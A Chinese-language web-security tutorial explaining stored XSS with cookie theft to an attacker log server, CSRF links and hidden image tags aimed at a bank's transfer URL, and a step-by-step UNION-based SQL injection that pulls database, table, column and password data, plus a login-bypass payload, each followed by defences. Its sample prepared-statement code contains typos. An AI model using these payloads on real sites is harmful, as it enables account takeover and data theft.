💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、星火、月之暗面及文生图 广告
之前我们说过,黑客可以利用别人的cookie,冒充真实的用户,在颁发cookie的网站中为所欲为。 后来浏览器颁布了一个同源策略,偷cookie的招数就行不通了。 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181029181358.png?imageslim) ## XSS 只要想办法把JavaScript代码注入到目标页面,就可以绕过同源策略了。 比如可以在 HTML 中的 `< input>`,这个标签会在浏览器中产生一个输入框,让用户输入数据,我们可以把 JavaScript 代码当做数据输入进去, 等到数据提交到服务器端,会保存下来,下次展示页面的时候不就可以执行了吗 比如有这么一个网站,可以让你对某个文章输入评论 在评论区输入了这样的代码,注意,我们注入了一段'JavaScript'” ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181029181623.png?imageslim) 等到再次有人访问这个页面的时候,就会把cookie显示出来。 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181029181715.png?imageslim) 当然不能直接让cookie这么显示出来。 那怎么才能为黑客所用呢? 我们再想想,同源策略并不限制`<img>`这样的标签从别的网站上**跨域**去下载图片,我们在注入JavaScript代码的时候,同时创建用户不可见的`<imag>`,通过这个标签把cookie发给黑客。 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030110631.png?imageslim) 只要这段代码被执行,用户的 cookie 就会发到黑客服务器上 (http://beauty.com/log),我们就等着收取 cookie 我们把这种方法叫做 Cross Site Scripting ,简称 CSS,但是CSS已经有其他的含义了,可以叫做 XSS > 按照 XSS 的分类方法, 上面介绍的叫做存储性 XSS, 危害最大。 还有反射型 XSS, 基于 DOM 的 XSS,本文不再展开。 浏览器也自有应对措施。 人们在网站的Cookie加上了HttpOnly这样的属性: ``` Set-Cookie:JSESSIONID=xxxxxx;Path=/;Domain=book.com;HttpOnly ``` cookie一旦加上了HttpOnly,浏览器就禁止JavaScript读取Cookie了,自然无法发回给beauty.com 但是对于黑客而言,既然可以在往指定的页面注入JavaScript代码,那么不一定只是用来借Cookei,还可以用JS代码画一个假的登录框,覆盖到真的上面,这样一样可以偷到真实的用户名和密码。 或者说通过JavaScript构造GET、POST请求,可以模拟用户在网站上做手脚,从一个账号往另一个账号打钱。 那么我们怎么应对呢? - 一方面会对输入进行过滤,发现不符合要求的输入例如 `<,> `等就会过滤掉,我们的 `<script> `可能会变成'script' 被存到数据库里。” - 另一方面有人还会对输出进行编码 / 转义操作,例如会把'<'变成'`&lt;`',把'>' 变成‘`&gt;`’ ,然后再输出,这样一来我们的 `<script>` 就会变成`& lt;script&gt;` , 浏览器收到以后,就会认为是数据,把 `<script> `作为字符串给显示出来,而不是执行后面的代码! ## 跨站请求伪造 现在看上去,可以取到Cookie的路貌似被堵上了。 但是实际上还是有漏洞。 一个用户的会话Cookie在浏览器没有关闭的时候,是不会被删除的。 我们换一下思路,不再去偷这个Cookie了,可以在Beauty.com中构造一个领奖页面,里面包含一个连接,让用户去点击。 比如 ``` 恭喜你获得了 iPhone X 一台, 快来 <a href="www.icbc.com.cn/transfer?toBankId = 黑客三兄弟的账户 & money = 金额 "> 领取吧!</a> ``` 如果黑客事先知道 icbc.com.cn 的转账操作的 url 和参数名称。如果这个用户恰好登录了 icbc.com, 那他的 cookie 还在, 当他禁不住诱惑,点了这个链接后,一个转账操作就神不知鬼不觉的发生了。 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030112041.png?imageslim) 那要是用户就是不点击呢? 同样可以创建一个看不见的图片, ``` <img www.icbc.com.cn/transfer?toAccountID = 黑客三兄弟的账户 & money = 金额 "> ``` “只要他打开了这个页面,不用点击任何东西,就会发生转账操作。 怪不得现在有很多邮箱默认不显示邮件中的图片呢! 那要是人家 icbc.com.cn 的转账操作需要 form 表单,是 POST 操作呢? 黑客可以把这个表单创建起来,放到一个不可见的 iframe 中,用户只要一访问,就用 JavaScript 自动提交 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030112243.png?imageslim) 只要这个用户在访问 icbc.com.cn 的时候, 访问了黑客的网站,就极有可能中招,黑客只是利用了一下合法的 Cookie,在服务器看来,发出的请求,那就是一次合法的请求 这叫**跨站请求伪造**啊,Cross Site Request Forgery(CSRF) ### 人们的应对方案 那么人类如何应对呢? - 用户在 icbc.com.cn 转账,显示转账的 form,除了常用的字段之外,额外添加一个 token ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030112505.png?imageslim) 这个 token 是** icbc.com 服务器端**生成的,是一个随机的数字。 - 用户的转账数据发送的服务器端, icbc.com 就会检查从浏览器发过来的数据中有没有 token, 并且**这个 token 的值是不是和服务器端保存的相等**,如果相等,就继续执行转账操作,如果不相等,那这次 POST 请求肯定是伪造的。 ## SQL注入 黑客用 XSS 和 CSRF 这两个工具获利颇丰,后来人们在编程中很注意防范,这两个漏洞越来越少了。 既然前端行不通,那么是否可以从服务器端来入手呢? 比如说SQL注入,那什么是SQL注入呢? 比如网站有一个users表格 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030172602.png?imageslim) 这个网站有个功能,根据 id 来查看用户信息,http://xxxx.com/user?id=xxxx, 对应的 SQL 可能是这样的:” ``` string sql ="SELECT id , name, age from users WHERE id="+<id>; ``` 如果用户在浏览器的 URL 是 http://xxxx.com/user?id=1, 那真正执行的 SQL 就是这样: ``` SELECT id , name, age from users WHERE id=1 ``` 也就是 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030172720.png?imageslim) 那么,如果黑客输入了[ http://xxxx.com/user?id=1 or 1=1 ]( http://xxxx.com/user?id=1 or 1=1 )会发生什么状况?” SQL变成了: ``` SELECT id , name, age from users WHERE id=1 or 1=1 ``` `or 1=1` 会让 where 字句的值一直是 true, 就可以把所有的 user 数据都给提取出来了! 原理很简单,但是想用好可不容易,你再试试这个网站:www.badblog.com/viewblog?id=U123, 这个 URL 能显示 ID 为 U123 的博客摘要。 如果把 url 改为 [www.badblog.com/viewblog?id=U123 or 1=1](www.badblog.com/viewblog?id=U123 or 1=1) , 我们以为最终的 sql 就是: SELECT xxx FROM xxx WHERE id =U123 or 1=1 ,但是实际上,浏览器只是提示:“无效的博客 ID” 为什么会这样呢? 其实吧,你没有注意到,那个 id 不是一个数字,是一个**字符串** ("U123"),背后的 SQL 可能是这样的: ``` string sql = "SELECT xxx FROM xxx WHERE id='" + <id> +"'"; ``` 字符串的话需要用单引号括起来,所以 URL 应该这么写:www.badblog.com/viewblog?id=U123'or'1'='1' 这样才能生成有效的 SQL:`SELECT xxx FROM xxx WHERE id ='U123' or '1'='1'` 可是浏览器还是没有把所有博客都显示出来,还是只显示了一条, 但不是 U123 对应的那条博客。 这是因为 SQL 执行成功了,但是内部的程序永远只返回 SQL 结果集的第一行啊。” ### 疯狂注入SQL 于是可以利用这个这个网站的用户名和密码给挖出来。” 假设这个网站是个 Mysql 数据库,接下来你得懂一点 Mysql 数据库知识了。我们分三步走,首先获取这个数据库的库名,然后获取所有的表名,最后找到用户表,从中 select 数据,也就是不断地往那个 URL 注入 SQL 语句 第一步,我们已经能猜出那个 URL 对应的 SQL 是:`SELECT xxx FROM xxx WHERE xx=<id>`,并且我们知道,这个 SELECT 出的数据中至少有两列(标题和内容),现在我们注入数据,形成一个这样的 sql 出来: ``` SELECT xxx FROM xxx WHERE xx=3 union select 1,2,3,4,5,6,7,8 ``` 为什么这么做? 因为union 要求两个结果集的列必须个数相同,现在 union 的第二部分输入了 8 个 column , 就是猜测 union 的第一个字句也有 8 个 column 如果这个 SQL 执行不正常(界面会有错误), 我们就再尝试,增加或减少列,直到成功为止。 假设试到列数为 3 的时候,SELECT xxx FROM xxx WHERE xx=3 union select 1,2,3 浏览器页面突然显示了出了两条新闻, 一条有正常的标题和内容, 另外一条的标题是 2, 内容是 3 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030174617.png?imageslim) 关键点是第二列和第三列的值会被显示到浏览器的界面中,接下来我们可以这么做: ``` SELECT xxx FROM xxx WHERE xx=3 union select 1,2,database() ``` 于是就获得了数据库的名称: epdb ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030174709.png?imageslim) mysql 中 information_schema.tables 这个表保存着所有的表名,现在知道了数据库的名称,只需要把数据库名称传递过去就行了” ``` SELECT xxx FROM xxx WHERE xx=3 union select 1,2,table_name from information_schema.tables where table_schema='epdb' ``` ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030174808.png?imageslim) 用户表多半是ep_users 接下来又构造出一个 sql ,把 ep_users 的列名全取出来: ``` SELECT xxx FROM xxx WHERE xx=3 union select 1,2,column_name from information_schema.columns where table_name='ep_users' ``` ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030174906.png?imageslim) 看来这个 ep_users 有这么几个 column : id ,name, pwd。 再接再厉,把 ep_users 表的数据给选出来: ``` SELECT xxx FROM xxx WHERE xx=3 union select 1,name,pwd from ep_users ``` ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030174949.png?imageslim) ### 破解密码 虽然现在看得到密码了,但是密码不是明文的是,这些密码是通过HASH算法计算出来。 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030175906.png?imageslim) “这个 Hash 值会保存到数据库当中,等到你下次登录,输入用户名和密码的时候,就会再次对密码进行同样的 hash 计算,然后和数据库的值比较,看看是不是相同。” 我们知道, hash 是不可逆的运算,所以即使被偷取了,也无法得到明文密码。 有几种办法可以去破解密码, - 一种就是猜测,比如我准备了很多人们最常用的密码,然后把这些密码也做 hash 操作,和数据库密码对比,如果匹配,我就知道明文密码了。 - 还有一种就是查表,我事先把明文密码和计算好的 hash 值形成一个对照表,然后用数据库中密码的 hash 值去对照表中查找,如果找到了,明文密码也就有了。当然为了提高效率,人们还制作了所谓彩虹表。” ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030180012.png?imageslim) 那怎么办? 还可以在密码中加盐 给每个密码都加了一了随机数,然后再做 Hash 操作。 这样一来,通过查找的方式就难于破解了 ![](http://p8a6vmhkm.bkt.clouddn.com/img/20181030180126.png?imageslim) 其实这都不是最关键的。 最关键的是有可能管理员权限也通过SQL注入的方式得到了。 那个 SQL 可能是这样子的: ``` select xx from ep_users where user='<username>'and pwd='<password>' ``` 然后代码会判断这个 sql 返回的结果集数目是否为 0, 如果不为 0 就认为登录成功。 那我通过注入把它改写成: ``` select xxx from ep_users where user='admin'and password='password'OR'1'='1' ``` 然后黑客就立刻就登录了,由于用户名是 admin,现在黑客已经有了管理员权限了 ### 后记 实际上 SQL 注入漏洞的危害非常巨大,因为黑客可以利用漏洞去执行数据库中很多函数(mysql 的 LOAD_FILE, SELECT INTOFILE),存储过程(例如臭名卓著的 xp_cmdshell), 可以向服务器植入代码。 如果有数据库账号适当权限,还可以创建表,删除表,非常可怕。 防御 SQL 注入的最佳方式,就是不要拼接字符串, 而要使用**预编译**语句,绑定变量,不管你输入了什么内容,预编译语句只会把它当成数据的一部分。 ``` String sql = "select id from users where name=?"; PreparedStatement pstmt = conn.prepareSatement(sql); pstmt.setStrig(1,request.getParameter("name"); pstmt.executeQuery(); ```